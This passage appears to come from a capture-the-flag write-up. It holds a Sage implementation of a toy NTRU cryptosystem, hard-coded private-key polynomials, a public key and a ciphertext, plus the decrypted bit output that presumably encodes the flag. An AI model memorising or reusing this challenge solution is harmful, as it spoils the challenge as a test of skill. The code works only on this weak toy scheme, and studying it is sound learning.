448, 365, 262, 146, 89, 283, 195, 395, 216, 159, 312, 53, 70, 485, 368, 130, 491, 474, 325, 4, 205, 1, 292, 330, 186, 66, 137, 291, 452, 236, 25, 114, 407, 125, 343, 2, 304, 267, 459, 432, 129, 21, 197, 51, 26, 342, 457, 163, 51, 52, 82, 229, 332, 72, 408, 242, 218, 286, 368, 503, 498, 434, 135, 311, 321, 205, 269, 318, 19, 119, 422, 425, 463, 368, 317, 99, 178, 390, 8, 127, 156, 27, 332, 437, 87, 187, 92, 115, 380, 54, 236, 287, 259, 386, 391, 94, 312, 454, 459, 340, 382, 424, 25, 318, 47, 249, 115, 20, 89, 82, 377, 328, 231, 298, 402, 336, 452, 264, 265, 83, 254, 156, 449, 34, 99, 412, 101, 183, 38, 142, 231, 181, 495, 6, 327, 278, 92, 452, 372, 12, 91, 102, 277, 98, 418, 22, 32, 493, 50, 374, 230, 479, 496, 6, 382, 300, 496, 157, 1, 221, 418, 381, 275, 391, 199, 472, 5, 222, 448, 377, 102, 468, 94, 35, 6, 6, 464, 452, 453, 354, 277, 425, 120, 501, 172, 222, 314, 362, 6, 105, 387, 77, 14, 112, 289, 358, 495, 350, 411, 378, 30, 89, 115, 171, 42, 32, 427, 125, 420, 486, 435, 151, 234, 416, 428, 425, 250, 142, 301, 245, 154, 338, 223, 292, 27, 194, 220, 34, 283, 255, 53, 5, 420, 134, 351, 216, 92, 242, 39, 454, 96, 239, 390, 182, 368, 463, 176, 187, 25, 122, 441, 54, 171, 426, 435, 318, 345, 166, 224, 258, 246, 349, 50, 400, 381, 236, 315, 439, 249, 201, 262, 95, 210, 327, 199, 205, 402, 175, 280, 337, 388, 205, 336, 52, 68, 364, 293, 462, 388, 354, 169, 163, 72, 374, 220, 355, 275, 36, 208, 198, 363, 369, 344, 61, 13, 230, 196, 190, 463, 351, 37, 276, 336, 110, 352, 56, 117, 376, 500, 373, 438, 309, 496, 400, 76, 169, 447, 434, 255, 456, 511, 414, 83, 369, 174, 291, 213, 227, 254, 186, 145, 402, 265, 13, 20, 212, 442]
e=[219, 149, 491, 115, 68, 464, 91, 223, 480, 506, 103, 373, 19, 52, 368, 467, 304, 380, 495, 372, 506, 318, 320, 263, 120, 126, 165, 271, 435, 378, 443, 261, 336, 381, 57, 360, 36, 155, 424, 458, 84, 80, 187, 261, 501, 279, 167, 13, 241, 85, 214, 133, 483, 374, 430, 401, 265, 127, 497, 405, 60, 34, 81, 422, 423, 200, 276, 424, 245, 437, 31, 193, 282, 154, 93, 13, 499, 190, 1, 304, 415, 189, 82, 472, 13, 488, 366, 364, 319, 121, 322, 120, 468, 134, 305, 228, 288, 284, 33, 430, 125, 366, 212, 207, 227, 201, 286, 377, 376, 57, 336, 379, 101, 461, 375, 101, 475, 126, 306, 73, 88, 1, 149, 378, 381, 129, 402, 341, 390, 57, 305, 139, 436, 101, 386, 460, 43, 468, 9, 449, 255, 184, 374, 466, 429, 167, 101, 247, 183, 159, 346, 45, 79, 192, 259, 32, 140, 151, 16, 214, 42, 450, 111, 7, 303, 286, 435, 491, 339, 248, 114, 185, 103, 81, 414, 100, 485, 428, 137, 13, 243, 202, 62, 208, 136, 376, 88, 158, 377, 404, 355, 194, 452, 373, 107, 290, 89, 489, 259, 462, 169, 235, 86, 214, 333, 472, 343, 487, 19, 371, 203, 234, 315, 339, 430, 133, 96, 161, 278, 13, 20, 87, 303, 466, 353, 139, 395, 131, 298, 85, 144, 244, 150, 488, 254, 284, 89, 300, 297, 288, 245, 439, 307, 222, 110, 343, 318, 202, 429, 81, 203, 468, 144, 140, 480, 370, 501, 14, 490, 278, 493, 390, 214, 108, 174, 150, 287, 197, 497, 374, 420, 298, 222, 188, 146, 298, 466, 459, 456, 16, 131, 253, 153, 481, 342, 498, 173, 12, 452, 197, 233, 18, 439, 332, 185, 48, 330, 4, 99, 105, 75, 306, 174, 492, 131, 39, 126, 491, 79, 145, 186, 493, 23, 230, 195, 118, 310, 173, 244, 80, 25, 502, 373, 457, 275, 282, 26, 206, 14, 181, 61, 391, 454, 417, 370, 70, 413, 389, 434, 400, 88, 417, 364, 458, 496, 425, 12, 280, 102, 265, 471, 43, 257, 327, 10, 334, 239, 344, 77, 298, 140, 287, 260, 194, 431, 65, 304, 302, 210, 393, 473, 463, 312, 255, 368, 476, 462, 390, 412, 266, 138, 410, 246, 101, 460, 307, 123, 4, 240, 502, 115, 147, 370, 241, 222, 495, 109, 51, 138, 354, 447, 282, 434, 280, 275, 404, 214, 68, 77, 167, 302, 95, 462, 16, 184, 213, 227, 130, 50, 405, 30, 353, 24, 143, 100, 163, 212, 388, 283, 252, 187, 247, 190, 163, 252, 169, 267, 363, 72, 399, 195, 215, 103, 60, 466, 318, 71, 193, 449, 65, 358, 443, 260, 253, 46, 5, 416, 115, 390, 15, 120, 384, 50, 122, 87, 428, 282, 464, 83, 80, 401, 8, 175, 457, 301, 63, 205, 402, 468, 368, 510, 488, 345, 103, 306, 387, 34, 119, 459, 43, 319, 264, 184, 406, 407, 358, 242, 42, 241, 34, 118, 477, 117, 325, 511, 499, 365, 192, 507]
R= PolynomialRing(ZZ,'xq')
e=R(e)
print('e=',e)
N=509
p=3
q=512
d=3
# Sage
from Crypto.Util.number import *
# from secret import flag
class NTRU:
def __init__(self, N, p, q, d):
self.debug = False
assert q > (6*d+1)*p
assert is_prime(N)
assert gcd(N, q) == 1 and gcd(p, q) == 1
self.N = N
self.p = p
self.q = q
self.d = d
self.R_ = PolynomialRing(ZZ,'x')
self.Rp_ = PolynomialRing(Zmod(p),'xp')
self.Rq_ = PolynomialRing(Zmod(q),'xq')
x = self.R_.gen()
xp = self.Rp_.gen()
xq = self.Rq_.gen()
self.R = self.R_.quotient(x^N - 1, 'y')
self.Rp = self.Rp_.quotient(xp^N - 1, 'yp')
self.Rq = self.Rq_.quotient(xq^N - 1, 'yq')
self.RpOrder = self.p^self.N - self.p
self.RqOrder = self.q^self.N - self.q
self.sk, self.pk = self.keyGen()
def T(self, d1, d2):
assert self.N >= d1+d2
t = [1]*d1 + [-1]*d2 + [0]*(self.N-d1-d2)
shuffle(t)
return self.R(t)
def lift(self, fx):
mod = Integer(fx.base_ring()(-1)) + 1
return self.R([Integer(x)-mod if x > mod//2 else x for x in list(fx)])
def setKey(self, fx, gx):
assert type(fx) == type('x^2 + 1') # e.g.
assert type(gx) == type('x^2 - 1') # emmm
try:
fx = self.R(fx)
gx = self.R(gx)
Fp = self.Rp(list(fx)) ^ (-1)
Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
hx = Fq * self.Rq(list(gx))
self.sk = (fx, gx, Fp, Fq, hx)
self.pk = hx
return True
except:
return False
def keyGen(self):
fx = self.T(self.d+1, self.d)
gx = self.T(self.d, self.d)
Fp = self.Rp(list(fx)) ^ (-1)
assert pow(self.Rp(list(fx)), self.RpOrder-1) == Fp
assert self.Rp(list(fx)) * Fp == 1
Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
assert self.Rq(list(fx)) * Fq == 1
hx = Fq * self.Rq(list(gx))
sk = (fx, gx, Fp, Fq, hx)
pk = hx
return sk, pk
def getKey(self):
ssk = (
self.R_(list(self.sk[0])),
self.R_(list(self.sk[1]))
)
spk = self.Rq_(list(self.pk))
return ssk, spk
def pad(self,msg):
pad_length = self.N - len(msg)
msg += [-1 for _ in range(pad_length)]
return msg
def encode(self,msg):
result = []
for i in msg:
result += [int(_) for _ in bin(i)[2:].zfill(8)]
if len(result) < self.N:result = self.pad(result)
result = self.R(result)
return result
def encrypt(self, m):
m = self.encode(m)
assert self.pk != None
hx = self.pk
mx = self.R(m)
mx = self.Rp(list(mx))
mx = self.Rq(list(mx))
rx = self.T(self.d, self.d)
rx = self.Rq(list(rx))
e = self.p * rx * hx + mx
return list(e)
def decrypt(self, e):
assert type(e) == type('xq^2 - 1') # e.g.
assert self.sk != None
fx, gx, Fp, Fq, hx = self.sk
e = self.Rq(e)
ax = self.Rq(list(fx)) * e
a = self.lift(ax) # center lift
bx = Fp * self.Rp(list(a))
b = self.lift(bx)
#return bx
return self.R_(list(b))
if __name__ == '__main__':
ntru = NTRU(N=509, p=3, q=512, d=3)
fx= 'x^440 - x^405 + x^294 + x^248 + x^212 - x^208 - x^145'
gx= 'x^393 + x^335 - x^322 - x^311 - x^248 + x^128'
# assert len(flag) == 42
# sk, pk = ntru.getKey()
# print("fx = " , sk[0].list())
# print("gx = " , sk[1].list())
# print("hx = " , pk.list())
hx= '442*xq^508 + 212*xq^507 + 20*xq^506 + 13*xq^505 + 265*xq^504 + 402*xq^503 + 145*xq^502 + 186*xq^501 + 254*xq^500 + 227*xq^499 + 213*xq^498 + 291*xq^497 + 174*xq^496 + 369*xq^495 + 83*xq^494 + 414*xq^493 + 511*xq^492 + 456*xq^491 + 255*xq^490 + 434*xq^489 + 447*xq^488 + 169*xq^487 + 76*xq^486 + 400*xq^485 + 496*xq^484 + 309*xq^483 + 438*xq^482 + 373*xq^481 + 500*xq^480 + 376*xq^479 + 117*xq^478 + 56*xq^477 + 352*xq^476 + 110*xq^475 + 336*xq^474 + 276*xq^473 + 37*xq^472 + 351*xq^471 + 463*xq^470 + 190*xq^469 + 196*xq^468 + 230*xq^467 + 13*xq^466 + 61*xq^465 + 344*xq^464 + 369*xq^463 + 363*xq^462 + 198*xq^461 + 208*xq^460 + 36*xq^459 + 275*xq^458 + 355*xq^457 + 220*xq^456 + 374*xq^455 + 72*xq^454 + 163*xq^453 + 169*xq^452 + 354*xq^451 + 388*xq^450 + 462*xq^449 + 293*xq^448 + 364*xq^447 + 68*xq^446 + 52*xq^445 + 336*xq^444 + 205*xq^443 + 388*xq^442 + 337*xq^441 + 280*xq^440 + 175*xq^439 + 402*xq^438 + 205*xq^437 + 199*xq^436 + 327*xq^435 + 210*xq^434 + 95*xq^433 + 262*xq^432 + 201*xq^431 + 249*xq^430 + 439*xq^429 + 315*xq^428 + 236*xq^427 + 381*xq^426 + 400*xq^425 + 50*xq^424 + 349*xq^423 + 246*xq^422 + 258*xq^421 + 224*xq^420 + 166*xq^419 + 345*xq^418 + 318*xq^417 + 435*xq^416 + 426*xq^415 + 171*xq^414 + 54*xq^413 + 441*xq^412 + 122*xq^411 + 25*xq^410 + 187*xq^409 + 176*xq^408 + 463*xq^407 + 368*xq^406 + 182*xq^405 + 390*xq^404 + 239*xq^403 + 96*xq^402 + 454*xq^401 + 39*xq^400 + 242*xq^399 + 92*xq^398 + 216*xq^397 + 351*xq^396 + 134*xq^395 + 420*xq^394 + 5*xq^393 + 53*xq^392 + 255*xq^391 + 283*xq^390 + 34*xq^389 + 220*xq^388 + 194*xq^387 + 27*xq^386 + 292*xq^385 + 223*xq^384 + 338*xq^383 + 154*xq^382 + 245*xq^381 + 301*xq^380 + 142*xq^379 + 250*xq^378 + 425*xq^377 + 428*xq^376 + 416*xq^375 + 234*xq^374 + 151*xq^373 + 435*xq^372 + 486*xq^371 + 420*xq^370 + 125*xq^369 + 427*xq^368 + 32*xq^367 + 42*xq^366 + 171*xq^365 + 115*xq^364 + 89*xq^363 + 30*xq^362 + 378*xq^361 + 411*xq^360 + 350*xq^359 + 495*xq^358 + 358*xq^357 + 289*xq^356 + 112*xq^355 + 14*xq^354 + 77*xq^353 + 387*xq^352 + 105*xq^351 + 6*xq^350 + 362*xq^349 + 314*xq^348 + 222*xq^347 + 172*xq^346 + 501*xq^345 + 120*xq^344 + 425*xq^343 + 277*xq^342 + 354*xq^341 + 453*xq^340 + 452*xq^339 + 464*xq^338 + 6*xq^337 + 6*xq^336 + 35*xq^335 + 94*xq^334 + 468*xq^333 + 102*xq^332 + 377*xq^331 + 448*xq^330 + 222*xq^329 + 5*xq^328 + 472*xq^327 + 199*xq^326 + 391*xq^325 + 275*xq^324 + 381*xq^323 + 418*xq^322 + 221*xq^321 + xq^320 + 157*xq^319 + 496*xq^318 + 300*xq^317 + 382*xq^316 + 6*xq^315 + 496*xq^314 + 479*xq^313 + 230*xq^312 + 374*xq^311 + 50*xq^310 + 493*xq^309 + 32*xq^308 + 22*xq^307 + 418*xq^306 + 98*xq^305 + 277*xq^304 + 102*xq^303 + 91*xq^302 + 12*xq^301 + 372*xq^300 + 452*xq^299 + 92*xq^298 + 278*xq^297 + 327*xq^296 + 6*xq^295 + 495*xq^294 + 181*xq^293 + 231*xq^292 + 142*xq^291 + 38*xq^290 + 183*xq^289 + 101*xq^288 + 412*xq^287 + 99*xq^286 + 34*xq^285 + 449*xq^284 + 156*xq^283 + 254*xq^282 + 83*xq^281 + 265*xq^280 + 264*xq^279 + 452*xq^278 + 336*xq^277 + 402*xq^276 + 298*xq^275 + 231*xq^274 + 328*xq^273 + 377*xq^272 + 82*xq^271 + 89*xq^270 + 20*xq^269 + 115*xq^268 + 249*xq^267 + 47*xq^266 + 318*xq^265 + 25*xq^264 + 424*xq^263 + 382*xq^262 + 340*xq^261 + 459*xq^260 + 454*xq^259 + 312*xq^258 + 94*xq^257 + 391*xq^256 + 386*xq^255 + 259*xq^254 + 287*xq^253 + 236*xq^252 + 54*xq^251 + 380*xq^250 + 115*xq^249 + 92*xq^248 + 187*xq^247 + 87*xq^246 + 437*xq^245 + 332*xq^244 + 27*xq^243 + 156*xq^242 + 127*xq^241 + 8*xq^240 + 390*xq^239 + 178*xq^238 + 99*xq^237 + 317*xq^236 + 368*xq^235 + 463*xq^234 + 425*xq^233 + 422*xq^232 + 119*xq^231 + 19*xq^230 + 318*xq^229 + 269*xq^228 + 205*xq^227 + 321*xq^226 + 311*xq^225 + 135*xq^224 + 434*xq^223 + 498*xq^222 + 503*xq^221 + 368*xq^220 + 286*xq^219 + 218*xq^218 + 242*xq^217 + 408*xq^216 + 72*xq^215 + 332*xq^214 + 229*xq^213 + 82*xq^212 + 52*xq^211 + 51*xq^210 + 163*xq^209 + 457*xq^208 + 342*xq^207 + 26*xq^206 + 51*xq^205 + 197*xq^204 + 21*xq^203 + 129*xq^202 + 432*xq^201 + 459*xq^200 + 267*xq^199 + 304*xq^198 + 2*xq^197 + 343*xq^196 + 125*xq^195 + 407*xq^194 + 114*xq^193 + 25*xq^192 + 236*xq^191 + 452*xq^190 + 291*xq^189 + 137*xq^188 + 66*xq^187 + 186*xq^186 + 330*xq^185 + 292*xq^184 + xq^183 + 205*xq^182 + 4*xq^181 + 325*xq^180 + 474*xq^179 + 491*xq^178 + 130*xq^177 + 368*xq^176 + 485*xq^175 + 70*xq^174 + 53*xq^173 + 312*xq^172 + 159*xq^171 + 216*xq^170 + 395*xq^169 + 195*xq^168 + 283*xq^167 + 89*xq^166 + 146*xq^165 + 262*xq^164 + 365*xq^163 + 448*xq^162 + 435*xq^161 + 39*xq^160 + 337*xq^159 + 250*xq^158 + 496*xq^157 + 182*xq^156 + 462*xq^155 + 82*xq^154 + 36*xq^153 + 140*xq^152 + 259*xq^151 + 194*xq^150 + 88*xq^149 + 155*xq^148 + 198*xq^147 + 174*xq^146 + 219*xq^145 + 86*xq^144 + 93*xq^143 + 466*xq^142 + 225*xq^141 + 107*xq^140 + 323*xq^139 + 141*xq^138 + 150*xq^137 + 413*xq^136 + 365*xq^135 + 382*xq^134 + 160*xq^133 + 8*xq^132 + 4*xq^131 + 285*xq^130 + 325*xq^129 + 92*xq^128 + 447*xq^127 + 301*xq^126 + 162*xq^125 + 446*xq^124 + 64*xq^123 + 211*xq^122 + 116*xq^121 + 172*xq^120 + 468*xq^119 + 361*xq^118 + 37*xq^117 + 161*xq^116 + 166*xq^115 + 317*xq^114 + 438*xq^113 + 251*xq^112 + 319*xq^111 + 244*xq^110 + 426*xq^109 + 148*xq^108 + 240*xq^107 + 209*xq^106 + 376*xq^105 + 274*xq^104 + 282*xq^103 + 449*xq^102 + 130*xq^101 + 278*xq^100 + 128*xq^99 + 44*xq^98 + 194*xq^97 + 244*xq^96 + 120*xq^95 + 33*xq^94 + 58*xq^93 + 288*xq^92 + 297*xq^91 + 317*xq^90 + 139*xq^89 + 317*xq^88 + 339*xq^87 + 511*xq^86 + 351*xq^85 + 341*xq^84 + 139*xq^83 + 408*xq^82 + 42*xq^81 + 82*xq^80 + 510*xq^79 + 509*xq^78 + 115*xq^77 + 459*xq^76 + 344*xq^75 + 463*xq^74 + 57*xq^73 + 446*xq^72 + 259*xq^71 + 268*xq^70 + 223*xq^69 + 137*xq^68 + 242*xq^67 + 223*xq^66 + 128*xq^65 + 132*xq^64 + 366*xq^63 + 293*xq^62 + 414*xq^61 + 100*xq^60 + 184*xq^59 + 9*xq^58 + 176*xq^57 + 345*xq^56 + 472*xq^55 + 312*xq^54 + 390*xq^53 + 109*xq^52 + 34*xq^51 + 155*xq^50 + 468*xq^49 + 12*xq^48 + 147*xq^47 + 414*xq^46 + 208*xq^45 + 218*xq^44 + 18*xq^43 + 175*xq^42 + 282*xq^41 + 33*xq^40 + 453*xq^39 + 256*xq^38 + 443*xq^37 + 252*xq^36 + 332*xq^35 + 488*xq^34 + 359*xq^33 + 166*xq^32 + 340*xq^31 + 235*xq^30 + 177*xq^29 + 377*xq^28 + 440*xq^27 + 158*xq^26 + 19*xq^25 + 384*xq^24 + 370*xq^23 + 340*xq^22 + 387*xq^21 + 451*xq^20 + 477*xq^19 + 337*xq^18 + xq^17 + 287*xq^16 + 100*xq^15 + 315*xq^14 + 478*xq^13 + 46*xq^12 + 464*xq^11 + 485*xq^10 + 141*xq^9 + 294*xq^8 + 497*xq^7 + 77*xq^6 + 330*xq^5 + 263*xq^4 + 384*xq^3 + 91*xq^2 + 374*xq + 292'
e= '507*xq^508 + 192*xq^507 + 365*xq^506 + 499*xq^505 + 511*xq^504 + 325*xq^503 + 117*xq^502 + 477*xq^501 + 118*xq^500 + 34*xq^499 + 241*xq^498 + 42*xq^497 + 242*xq^496 + 358*xq^495 + 407*xq^494 + 406*xq^493 + 184*xq^492 + 264*xq^491 + 319*xq^490 + 43*xq^489 + 459*xq^488 + 119*xq^487 + 34*xq^486 + 387*xq^485 + 306*xq^484 + 103*xq^483 + 345*xq^482 + 488*xq^481 + 510*xq^480 + 368*xq^479 + 468*xq^478 + 402*xq^477 + 205*xq^476 + 63*xq^475 + 301*xq^474 + 457*xq^473 + 175*xq^472 + 8*xq^471 + 401*xq^470 + 80*xq^469 + 83*xq^468 + 464*xq^467 + 282*xq^466 + 428*xq^465 + 87*xq^464 + 122*xq^463 + 50*xq^462 + 384*xq^461 + 120*xq^460 + 15*xq^459 + 390*xq^458 + 115*xq^457 + 416*xq^456 + 5*xq^455 + 46*xq^454 + 253*xq^453 + 260*xq^452 + 443*xq^451 + 358*xq^450 + 65*xq^449 + 449*xq^448 + 193*xq^447 + 71*xq^446 + 318*xq^445 + 466*xq^444 + 60*xq^443 + 103*xq^442 + 215*xq^441 + 195*xq^440 + 399*xq^439 + 72*xq^438 + 363*xq^437 + 267*xq^436 + 169*xq^435 + 252*xq^434 + 163*xq^433 + 190*xq^432 + 247*xq^431 + 187*xq^430 + 252*xq^429 + 283*xq^428 + 388*xq^427 + 212*xq^426 + 163*xq^425 + 100*xq^424 + 143*xq^423 + 24*xq^422 + 353*xq^421 + 30*xq^420 + 405*xq^419 + 50*xq^418 + 130*xq^417 + 227*xq^416 + 213*xq^415 + 184*xq^414 + 16*xq^413 + 462*xq^412 + 95*xq^411 + 302*xq^410 + 167*xq^409 + 77*xq^408 + 68*xq^407 + 214*xq^406 + 404*xq^405 + 275*xq^404 + 280*xq^403 + 434*xq^402 + 282*xq^401 + 447*xq^400 + 354*xq^399 + 138*xq^398 + 51*xq^397 + 109*xq^396 + 495*xq^395 + 222*xq^394 + 241*xq^393 + 370*xq^392 + 147*xq^391 + 115*xq^390 + 502*xq^389 + 240*xq^388 + 4*xq^387 + 123*xq^386 + 307*xq^385 + 460*xq^384 + 101*xq^383 + 246*xq^382 + 410*xq^381 + 138*xq^380 + 266*xq^379 + 412*xq^378 + 390*xq^377 + 462*xq^376 + 476*xq^375 + 368*xq^374 + 255*xq^373 + 312*xq^372 + 463*xq^371 + 473*xq^370 + 393*xq^369 + 210*xq^368 + 302*xq^367 + 304*xq^366 + 65*xq^365 + 431*xq^364 + 194*xq^363 + 260*xq^362 + 287*xq^361 + 140*xq^360 + 298*xq^359 + 77*xq^358 + 344*xq^357 + 239*xq^356 + 334*xq^355 + 10*xq^354 + 327*xq^353 + 257*xq^352 + 43*xq^351 + 471*xq^350 + 265*xq^349 + 102*xq^348 + 280*xq^347 + 12*xq^346 + 425*xq^345 + 496*xq^344 + 458*xq^343 + 364*xq^342 + 417*xq^341 + 88*xq^340 + 400*xq^339 + 434*xq^338 + 389*xq^337 + 413*xq^336 + 70*xq^335 + 370*xq^334 + 417*xq^333 + 454*xq^332 + 391*xq^331 + 61*xq^330 + 181*xq^329 + 14*xq^328 + 206*xq^327 + 26*xq^326 + 282*xq^325 + 275*xq^324 + 457*xq^323 + 373*xq^322 + 502*xq^321 + 25*xq^320 + 80*xq^319 + 244*xq^318 + 173*xq^317 + 310*xq^316 + 118*xq^315 + 195*xq^314 + 230*xq^313 + 23*xq^312 + 493*xq^311 + 186*xq^310 + 145*xq^309 + 79*xq^308 + 491*xq^307 + 126*xq^306 + 39*xq^305 + 131*xq^304 + 492*xq^303 + 174*xq^302 + 306*xq^301 + 75*xq^300 + 105*xq^299 + 99*xq^298 + 4*xq^297 + 330*xq^296 + 48*xq^295 + 185*xq^294 + 332*xq^293 + 439*xq^292 + 18*xq^291 + 233*xq^290 + 197*xq^289 + 452*xq^288 + 12*xq^287 + 173*xq^286 + 498*xq^285 + 342*xq^284 + 481*xq^283 + 153*xq^282 + 253*xq^281 + 131*xq^280 + 16*xq^279 + 456*xq^278 + 459*xq^277 + 466*xq^276 + 298*xq^275 + 146*xq^274 + 188*xq^273 + 222*xq^272 + 298*xq^271 + 420*xq^270 + 374*xq^269 + 497*xq^268 + 197*xq^267 + 287*xq^266 + 150*xq^265 + 174*xq^264 + 108*xq^263 + 214*xq^262 + 390*xq^261 + 493*xq^260 + 278*xq^259 + 490*xq^258 + 14*xq^257 + 501*xq^256 + 370*xq^255 + 480*xq^254 + 140*xq^253 + 144*xq^252 + 468*xq^251 + 203*xq^250 + 81*xq^249 + 429*xq^248 + 202*xq^247 + 318*xq^246 + 343*xq^245 + 110*xq^244 + 222*xq^243 + 307*xq^242 + 439*xq^241 + 245*xq^240 + 288*xq^239 + 297*xq^238 + 300*xq^237 + 89*xq^236 + 284*xq^235 + 254*xq^234 + 488*xq^233 + 150*xq^232 + 244*xq^231 + 144*xq^230 + 85*xq^229 + 298*xq^228 + 131*xq^227 + 395*xq^226 + 139*xq^225 + 353*xq^224 + 466*xq^223 + 303*xq^222 + 87*xq^221 + 20*xq^220 + 13*xq^219 + 278*xq^218 + 161*xq^217 + 96*xq^216 + 133*xq^215 + 430*xq^214 + 339*xq^213 + 315*xq^212 + 234*xq^211 + 203*xq^210 + 371*xq^209 + 19*xq^208 + 487*xq^207 + 343*xq^206 + 472*xq^205 + 333*xq^204 + 214*xq^203 + 86*xq^202 + 235*xq^201 + 169*xq^200 + 462*xq^199 + 259*xq^198 + 489*xq^197 + 89*xq^196 + 290*xq^195 + 107*xq^194 + 373*xq^193 + 452*xq^192 + 194*xq^191 + 355*xq^190 + 404*xq^189 + 377*xq^188 + 158*xq^187 + 88*xq^186 + 376*xq^185 + 136*xq^184 + 208*xq^183 + 62*xq^182 + 202*xq^181 + 243*xq^180 + 13*xq^179 + 137*xq^178 + 428*xq^177 + 485*xq^176 + 100*xq^175 + 414*xq^174 + 81*xq^173 + 103*xq^172 + 185*xq^171 + 114*xq^170 + 248*xq^169 + 339*xq^168 + 491*xq^167 + 435*xq^166 + 286*xq^165 + 303*xq^164 + 7*xq^163 + 111*xq^162 + 450*xq^161 + 42*xq^160 + 214*xq^159 + 16*xq^158 + 151*xq^157 + 140*xq^156 + 32*xq^155 + 259*xq^154 + 192*xq^153 + 79*xq^152 + 45*xq^151 + 346*xq^150 + 159*xq^149 + 183*xq^148 + 247*xq^147 + 101*xq^146 + 167*xq^145 + 429*xq^144 + 466*xq^143 + 374*xq^142 + 184*xq^141 + 255*xq^140 + 449*xq^139 + 9*xq^138 + 468*xq^137 + 43*xq^136 + 460*xq^135 + 386*xq^134 + 101*xq^133 + 436*xq^132 + 139*xq^131 + 305*xq^130 + 57*xq^129 + 390*xq^128 + 341*xq^127 + 402*xq^126 + 129*xq^125 + 381*xq^124 + 378*xq^123 + 149*xq^122 + xq^121 + 88*xq^120 + 73*xq^119 + 306*xq^118 + 126*xq^117 + 475*xq^116 + 101*xq^115 + 375*xq^114 + 461*xq^113 + 101*xq^112 + 379*xq^111 + 336*xq^110 + 57*xq^109 + 376*xq^108 + 377*xq^107 + 286*xq^106 + 201*xq^105 + 227*xq^104 + 207*xq^103 + 212*xq^102 + 366*xq^101 + 125*xq^100 + 430*xq^99 + 33*xq^98 + 284*xq^97 + 288*xq^96 + 228*xq^95 + 305*xq^94 + 134*xq^93 + 468*xq^92 + 120*xq^91 + 322*xq^90 + 121*xq^89 + 319*xq^88 + 364*xq^87 + 366*xq^86 + 488*xq^85 + 13*xq^84 + 472*xq^83 + 82*xq^82 + 189*xq^81 + 415*xq^80 + 304*xq^79 + xq^78 + 190*xq^77 + 499*xq^76 + 13*xq^75 + 93*xq^74 + 154*xq^73 + 282*xq^72 + 193*xq^71 + 31*xq^70 + 437*xq^69 + 245*xq^68 + 424*xq^67 + 276*xq^66 + 200*xq^65 + 423*xq^64 + 422*xq^63 + 81*xq^62 + 34*xq^61 + 60*xq^60 + 405*xq^59 + 497*xq^58 + 127*xq^57 + 265*xq^56 + 401*xq^55 + 430*xq^54 + 374*xq^53 + 483*xq^52 + 133*xq^51 + 214*xq^50 + 85*xq^49 + 241*xq^48 + 13*xq^47 + 167*xq^46 + 279*xq^45 + 501*xq^44 + 261*xq^43 + 187*xq^42 + 80*xq^41 + 84*xq^40 + 458*xq^39 + 424*xq^38 + 155*xq^37 + 36*xq^36 + 360*xq^35 + 57*xq^34 + 381*xq^33 + 336*xq^32 + 261*xq^31 + 443*xq^30 + 378*xq^29 + 435*xq^28 + 271*xq^27 + 165*xq^26 + 126*xq^25 + 120*xq^24 + 263*xq^23 + 320*xq^22 + 318*xq^21 + 506*xq^20 + 372*xq^19 + 495*xq^18 + 380*xq^17 + 304*xq^16 + 467*xq^15 + 368*xq^14 + 52*xq^13 + 19*xq^12 + 373*xq^11 + 103*xq^10 + 506*xq^9 + 480*xq^8 + 223*xq^7 + 91*xq^6 + 464*xq^5 + 68*xq^4 + 115*xq^3 + 491*xq^2 + 149*xq + 219'
ntru.setKey(fx, gx)
m = ntru.decrypt(e)
print('m=',m)
print(m.list())得到
[0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1]
